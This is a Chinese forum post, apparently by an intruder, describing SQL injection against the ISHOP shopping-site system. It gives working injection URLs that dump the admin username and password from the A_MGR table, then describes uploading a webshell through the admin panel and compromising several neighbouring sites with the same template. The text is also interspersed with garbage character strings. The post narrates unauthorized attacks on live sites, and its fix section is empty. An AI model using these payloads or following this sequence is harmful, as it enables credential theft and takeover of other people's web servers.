ISHOP商场建站系统注入漏洞

admin

发现一个注入点
# u$ g2 z1 \5 K9 Z1 H/ hhttp://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389

' ~/ f' c! p+ c. O) J9 P2 d- P习惯性的加’having1=1--
# `: S5 R9 U( Z- Y- [9 M/ R' `
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—

0
- @* t2 [9 u2 ]: v7 g& B8 e
1 N  d( p5 [$ C( R2 v, J2 u; F爆出Diary_A.dl_Title（这时候很激动啊）

: p0 f+ Z5 O$ d, Y那么继续
) @. _8 R* w* s' F0 m, V0 M, t! shttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—
, A( L6 x1 E2 l3 \, x
继续，一直爆下去

5 d+ j' b3 @1 z- D; j) }3 w1 H$ h爆到几个字段和表段 但是没找到需要的管理用户的字段

蛋疼了 怎么办 然后去后台登陆页看源码

0

6 u; j& j% F) N1 B: C5 o5 w# p, aInput name= “ADUID”
Input name= “ADPWD”

很幸运 找到了字段那就继续
( A5 k9 m" y2 G- R; ~找到之后开始爆用户
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—
爆密码
4 h) S: R' U) m( M  `- ]# ?http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
测试了下 这个注入点只能爆到文章哪里的表
: \( X  C' o* e7 \& I3 |, H7 x& K) p
头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了

又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了

  x5 z, B) p4 B5 M4 w473
3 C& E( {  G5 b, j, C
/ v9 l4 e' d' n8 w3 V& B* s进后台
" D7 d3 u. O9 q; b% }7 Q
- x* w9 |; M1 `' F( q
发现几个上传点 有的地方不能上传 而且防止恶意代码

7 {) z1 L. _& J- n. [没办法 各种百度各种找大牛 找到一只好像可以突破的马


' ]0 z7 t) Y, j" a5 B在系统管理那里直接上传 不过没有显示地址

再上传一次 抓包 搞定OK
- R# m/ s8 s0 f: E, A) j2 x, h3 u: A. A


3 l. @$ {' ]/ S5 N+ I472
( {$ t7 a2 E' Q. i
晚上不行了 去睡觉。。。
" q6 _( p6 v( K4 a5 ]; w7 l# ~* {第二天刚起床 闲的没事做继续日站吧

' o8 I. r7 q& T6 a+ k找个站 就把这个站的旁c扫了下
. x+ W4 J: b& L4 a5 j; t1 G% m9 c$ l/ J
# K; N4 D: l4 I发现c段也有一个购物站 ，然后还和这个站的模板差不多
0 b' w' }7 T6 Z
2 [) P# m! ]$ i- J0 n就找到会员登录口测试

( d9 R' C/ W4 h9 S) w'and (select top 1 MGR_UID from A_MGR)>0—
果断爆到了 这时候我很激动 通杀
8 C7 |" I* q% O+ Z2 R
再次翻c段

3 m, _, S+ f; ]+ c  a翻出几个站 都成功拿下
$ b6 ^1 w/ ]& I


修复方案：
- E3 Y: V2 x1 {# {" q他们比我专业
​


6 ]2 L* J9 W  I: ~! v